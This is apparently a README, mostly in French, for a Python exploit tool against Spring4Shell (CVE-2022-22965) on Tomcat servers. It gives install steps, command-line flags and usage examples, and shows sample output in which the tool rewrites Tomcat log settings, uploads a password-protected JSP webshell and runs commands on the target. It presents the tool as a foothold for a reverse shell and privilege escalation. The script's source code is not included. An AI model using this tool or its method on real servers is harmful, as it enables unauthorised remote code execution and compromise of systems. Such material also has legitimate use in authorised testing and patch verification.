
spring4shell | CVE-2022-22965
une implémentation en python de CVE-2022-22965 qui fournit une invite à l'utilisateur dans le style d'une session ssh.
le script est conçu pour être facile à comprendre et à exécuter, avec à la fois lisibilité et accessibilité - selon le choix de l'utilisateur. Conçu pour exploiter la vulnérabilité sur les serveurs tomcat. Le champ fileDateFormat sur le serveur sera défini et annulé dans le cadre du script, ce qui permet d'exécuter l'exploit plusieurs fois. Un nettoyage peut être nécessaire.
vulnérabilité trouvée dans
le framework Java Spring avant la version 5.2, ainsi que dans les versions 5.3.0-17 et 5.2.0-19 et exécuté sur une version du Kit de développement Java supérieure ou égale à 9.
Plus d'infos :
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965
les modules requests et BeautifulSoup sont nécessaires pour exécuter l'exploit. ils peuvent être installés avec :
pip3 install bs4
pip3 install requests
tous les autres modules sont intégrés à python3.
le script nécessite uniquement l'url du serveur vulnérable pour s'exécuter. cependant il existe d'autres drapeaux pour faciliter l'accès, etc.
sortie de --help:
usage: spring4shell_v3.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] [-a] [-n] address
spring4shell_v3.py exploits an RCE vulnerability in
applications running spring core java framework.
positional arguments:
address ip/hostname, port, sub-directories to the vulnerable spring core framework on tomcat
optional arguments:
-h, --help show this help message and exit
-f FILENAME, --filename FILENAME
name of the file to create and upload
-p PASSWORD, --password PASSWORD
password to protect the uploaded shell
-d DIRECTORY, --directory DIRECTORY
The upload path for the file
-a, --accessible turns off features which may negatively affect screen readers
-n, --no-colour removes colour output
example:
spring4shell_v3.py http://10.10.10.10/
spring4shell_v3.py http://hostname:8080/ -p 'password123'
spring4shell_v3.py http://10.10.10.10/subdir/ -a -f 'jsp-shell'
exemple de sortie :
./spring4shell http://spring-vuln.local
/ / | / / /
___ ___ ___ ___ ___ (___| ___ (___ ___ ( (
|___ | )| )| | )| ) )|___ | )|___)| |
__/ |__/ | | | / |__/ / __/ | / |__ | |
| __/
CVE-2022-22965.
[i] attempting to change tomcat log variables.
[+] log variables set successfully.
[+] attempting to change tomcat log location variables.
[+] log successfully modified.
[i] waiting for tomcat changes.
[i] sending the webshell.
[i] resetting the log variables.
[i] shell location:
[i] http://spring-vuln.local/20df2b10c787d5ae.jsp?pwd=bd72c5e8&cmd=whoami
[i] or run commands here. type 'exit' to quit.
spring4shell:[email protected] $ whoami
service
spring4shell:[email protected] $
il va sans dire que le script ne fournit pas à l'utilisateur un shell complet, mais est conçu comme une plateforme pour obtenir un reverse shell complet, une élévation de privilèges, etc., sur la cible.
Le script tente de récupérer l'utilisateur/service exécutant le serveur vulnérable afin qu'il puisse être utilisé dans l'invite de commande pseudo du programme, bien que cela ne soit pas toujours fiable.
le script était principalement un exercice de script python pour un seul exploit avec à la fois lisibilité et accessibilité à l'esprit. conçu pour la facilité d'utilisation et la compréhensibilité. tente de gérer les exceptions courantes.
https://skerritt.blog/a11y/ - mise en œuvre de l'accessibilité.